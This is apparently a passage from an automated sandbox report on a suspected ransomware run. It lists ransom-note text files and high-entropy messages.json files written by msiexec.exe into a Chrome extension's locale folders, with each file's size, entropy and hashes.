SHA-512:	8148C243D3D013647D43E3EF7BA798201C04C7FF9833F1A3580E089EC59CEA4196FBBAA325ECF4F83F7824B7A82CEFC357757D3E1A3CFF3F2DC5261FD16C6E81
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\it\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706308441871962
Encrypted:	false
MD5:	012EDB7FB026CABF7350099A8C3020F4
SHA1:	C3CF9E79490D32F0B247B319283C713935FFE12B
SHA-256:	003AA02144C6A8D5BC92D7BF3E0619C1ED7F059C29E5EACDB1D8AD022AFC240D
SHA-512:	EBBCF2227F6F30346C08F654BBB282D75145DAD3834E53475AECAC22083C91C1E9C84A8D0A4067532F5B3B87FB49C3064969A6BD180092413B9539272C0074C4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ja\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.715083019302386
Encrypted:	false
MD5:	8B3B7966C04B6C526820B7BAFAF1D5B2
SHA1:	839DC2C26D63DCD01728DA35F8E269CB7D4B6878
SHA-256:	2F0B2931DF6BC343568F0A5366407E415036E42432E2338AA981856FADEFC1DB
SHA-512:	FA81510ED6DFEF15B43E422291C207945770E7D21AF141FA5BE2F5B5A3949C16CE956E77DF3D16F5E0D27CD0A47B515DCC7E612A68DD335AEC5F61216669BD61
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ko\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687226184626589
Encrypted:	false
MD5:	5EB30EA1F054940D3ABD79D19E35D2CB
SHA1:	0D204C1215C8B68FCFB794E6AED04011F7547B07
SHA-256:	6EF77FC799533E5CD4D6BEE1958C9EB9F355622033906C185C640416C2FE033D
SHA-512:	CDF6A5111789A298C770871E0CCACA90C76265C2E3508C15798B1E67BEEB9702DFEE0792C0C1D2AC3275BADC0509A9EEB3EE72BB32B8197F2145039EEFCBBB7C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lt\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698465151654991
Encrypted:	false
MD5:	8082726DB2F5CEFEEC31F9904F16C35A
SHA1:	1BEDD2CF6F72BEB0FD0D186FE161CC77027279CD
SHA-256:	3475CB11EF4C8C09CB23E7CBA7125BC853F620747A4DFBE8488D8A556349BE8F
SHA-512:	8FF0D487B8275B1FEC0536C529239B6724E17FE39129374DB205EA93AD851C0354C02D3AFFA4D231551E37ED65D0BA910AA7333548CD7526CF76CB7E5D9A05BD
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.646317168702501
Encrypted:	false
MD5:	289F7B212F21AA1AA391413FA624BF9A
SHA1:	1379FC401CAFA5C86F46A4ACAD0C968A3C60E237
SHA-256:	6DE6D0C845569E78EB1F6CFD88F8A10DBEA96AFA3364CA695491248268653916
SHA-512:	EEDC77CE8F1EFF5570054E11B1F70FF4CC49A06CA1ABE4AB3951E12AD9BC0D88ADD4F2FAD9EA8BCB3F28088487641489A62B5CD9DC97555BA4341C2C1049FFD8
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ms\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ms\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.666142692619863
Encrypted:	false
MD5:	91E248EE34A0DCDD99200769B73D236C
SHA1:	59F87F5BB81273664FE1ED44602669512342A3A0
SHA-256:	002619DA7C916F66B1FD0ED393DA331EC758F69D5590DB31F04BA646AB7D8064
SHA-512:	E7F91331C6D5D2AD0D3373F17CE990E3CA236110E780EB22EC3E4B472D94FB944BEBFC136787D710ADC426692E2CD380C96DE90C08F1E58F0B39D060AD891D83
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\nl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645885517249599
Encrypted:	false
MD5:	04B999F8189911427345C99E7BE8E097
SHA1:	F6E7E6FCF40710A61140669FB69DABC16D66372B
SHA-256:	45C9EDF493CDAED52073B2E7C27408801418496F0BA7B28A9E65B654AAA07D80
SHA-512:	BFB9B714E313619352A17EE6C82311B45F11B987EFC0C9E723447C82273EF2141D6C7B0AC87E6C96C0F0E9EB455FE2F3E1F79C7B200D507DDE535230C1B173EA
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\no\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.631535180957572
Encrypted:	false
MD5:	C4346BB80E0E0D73DAD5AF9FB36D77FC
SHA1:	1E770867D72E900CDA2620A2DD2C0367E832F90F
SHA-256:	2BEBFA394E3580C263CAEB4F12CD20EF11BEE316255C056ABD25F9A8BAC7FF1A
SHA-512:	3708F040AF80C2D0B8AD54330B2A51DA3E361F4CF78E4B41626549F7DBC6C13937DB585C116F16E79C864EFE66DA75EC6FB75D44E80DEA849CB19D675C908C3A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.726574877202087
Encrypted:	false
MD5:	5441684240207E1337D429E2A2035840
SHA1:	7AA1E790A5AC76BFD267AEC7B4D859635BDF34E7
SHA-256:	B6FBDF1FFDA593ADC63D294DF1F217BD0F1D350FF3631C700840152E84768C97
SHA-512:	C672A0C37B84911B25D09F9BAF877AB7C78FD33DDD5CEDFDC871FDC8AA7E28B7BE504F8BB15AE43810E71FE5A7CE145AD73ED719447F6B506A4C7EBDD820F0A2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_BR\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688777484119467
Encrypted:	false
MD5:	EB6CC7FE7B8B990C011AF829CC43603B
SHA1:	D71F7E32C9B5223BD2E75FB2E18F967D71DEA332
SHA-256:	51D6466C63C14F1F4F3E816AB9E50B53B7F85A0C95BEF09F97D51538EC3B215E
SHA-512:	C5F433881C656C06B7CAC8D06788E7CD56D394E9ECED1B23A22A50FB053A1AB37BBC962A773A90DE64A9C05726182B5967D3915429F85924D1336D18BD0F8AC2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_PT\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.665093720606666
Encrypted:	false
MD5:	DE73F5D8CA9BEDC1C2E31AFA03D6573C
SHA1:	4FA8D47FF206D39059E802D9B52FF9EC03FE0E9B
SHA-256:	A0535E453086AC6B198A5718BE21173F56B534D4D6185095C17D3E2A986E68EF
SHA-512:	1ECF755AF5AF148040692EC21886D4AEE9E4E0CD0701E093318BB925C882559A836C196B838FE20ADF36502C914DB65085102DF4DD7917E0CA4B815752D5B20C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ro\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712085967282833
Encrypted:	false
MD5:	915E77D13F247AE95100421AB306D675
SHA1:	83F0534519BCC9ECA20EB2F0CABC14A0BD9A244A
SHA-256:	62CC69B00B3CEC53B51B4B6118FFD29D8A5C02B2ABC4B7297EC3DB9820D5B0E6
SHA-512:	116E23A27ED25FCEA5ECCBCF36F5330EB4A3C4943401B468AC71B44A57140A62242CE8F91A76282E60B6AC136535CA7AC5BA6D292015E7225CCCD36C6D3F423A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ru\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.609305836068415
Encrypted:	false
MD5:	0DAC77C3F58E4AD477D5171529A1787C
SHA1:	0DC228617337406F93286C498DD06F9F691DF586
SHA-256:	C37212E3397438EAF100DD68922F817214C017A548F1558A7862C6FDC74C33B7
SHA-512:	82F0ED3C75D0C6891DDA297BBF131A59A60EF11A6659252AF0C03D9EA4AFDE4BD69D04C024D7E8671153741C0746B15E35754567B0129B0C5A08A63BE2398798
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6860763703255905
Encrypted:	false
MD5:	8843FD041AB24D5EBBB1FC7B3E2C081F
SHA1:	D39546FB9441BA01E3B504FDF1253617C6EF6FF3
SHA-256:	DD4B3FB4D0D722C57F7E3FACF16B29CB7C6CC7E954DC839AFB07D5493189861A
SHA-512:	EBD7A41572F1B8AEB49383FCE8EC0137CCBC9548E077CEAF8A352512A8AF1042995F4E21AC4B47F761311DDF70C1FC11C1E94F374FEF66DB76D60FF2F9270205
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6891700496365365
Encrypted:	false
MD5:	085A8F7A13204E1E0833CCB25B434021
SHA1:	A56708FC0658FC9C74C466804F0E1851879A6F29
SHA-256:	0BA11A15C236C353A41DBDF85FF4D127AA0452B893B575AECFD8D3D85B94D3A5
SHA-512:	31B7932AF46DF86DD052BD017F899A2A4853DCE1648BC24EECF0BA054352AC12893B1C58213761217C147A399C29774DC93F922C1698C217C0133B2BD5311D4D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6375261710188385
Encrypted:	false
MD5:	9E2278162DCFF2C072E432192A3B8B4D
SHA1:	136422680832DF428375B75EBFCAD21E712AF66F
SHA-256:	5E9A81F2BBF1E1E33107C469845A3FECF77B888571DE5D0064E3217886E15F59
SHA-512:	BABC5D54AC21A68ACD7FC53AB2CED6DA55E6B936213347A663925FCACF11416BFF30A06903EFC3DE444CE7FB614351E0331522A527369D875C21A9082919B3E4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.704093235304535
Encrypted:	false
MD5:	1B35EF16000DEBCD414C76DFF816CA03
SHA1:	25FBDFC01A919FE61A6E47E737AC643FC5ECC1CF
SHA-256:	DB4D01F13F97D33FA4D078388C2258C42CD7C84C6413CDBAB34B42A599EEDEA6
SHA-512:	7991B39F982F0C5552B95D8308717826A7169B2349B68EB309F2F4AE5925F079350A7736B958C4D20C2CC5E122C84B8B2EEA39AE62A83A1623F36305FA3AC973
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\th\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.664636371466991
Encrypted:	false
MD5:	F6D8606B4F486E3BE4FBA713B108AA97
SHA1:	0DA04EDC14C33ABD00CED1D2A4647229E3377813
SHA-256:	8930E392EAAB8280760135D6F1744AB892430E9A799CC8252C6BFDA749A54CF0
SHA-512:	952231CD0B37DA7EDC7EF62F2A29187F8967FB03A42388E8394626F6D7AFC55EFA4B3980F2F88FB705FCBA2490274DAA270D0D24C0D9005EC6F51744101B9BD3
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\tr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706125973449621
Encrypted:	false
MD5:	217926BAF52B72618D6FCE4A1DDFB02E
SHA1:	7019D0EA2C8D67485B826F07867336D79E70EB0B
SHA-256:	4601549B4A2C9F63C51F96864556189B12CFB46B89A882C5337D6128F1E98E5B
SHA-512:	6939AD66BF6F466BE0A9FBFDE56C5EA5909331E4ADCF7DC467C5BB3A078F79E0CE28ABB25F985FE424A063C26B75C0897A076733D7DF4AE61A54E896CD4193C1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\uk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.720430483960923
Encrypted:	false
MD5:	B1258E0A99E22277DE8B6A2A47ECB6DA
SHA1:	4939BAF18D9EAB813969D3F47B63132BE8CF84D1
SHA-256:	787632BD837CC0BDB68E101073FFA801AEEA4F3872BDAD98342AE480171095FC
SHA-512:	D87D27AD80E824E2AE159C3DBC8E67A9AB1C9814F2477461CF6BE7893DC14E06806A7B28252628B8B3B484F3E60B08EB61C105612FBA3C3B1645170121099CFC
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
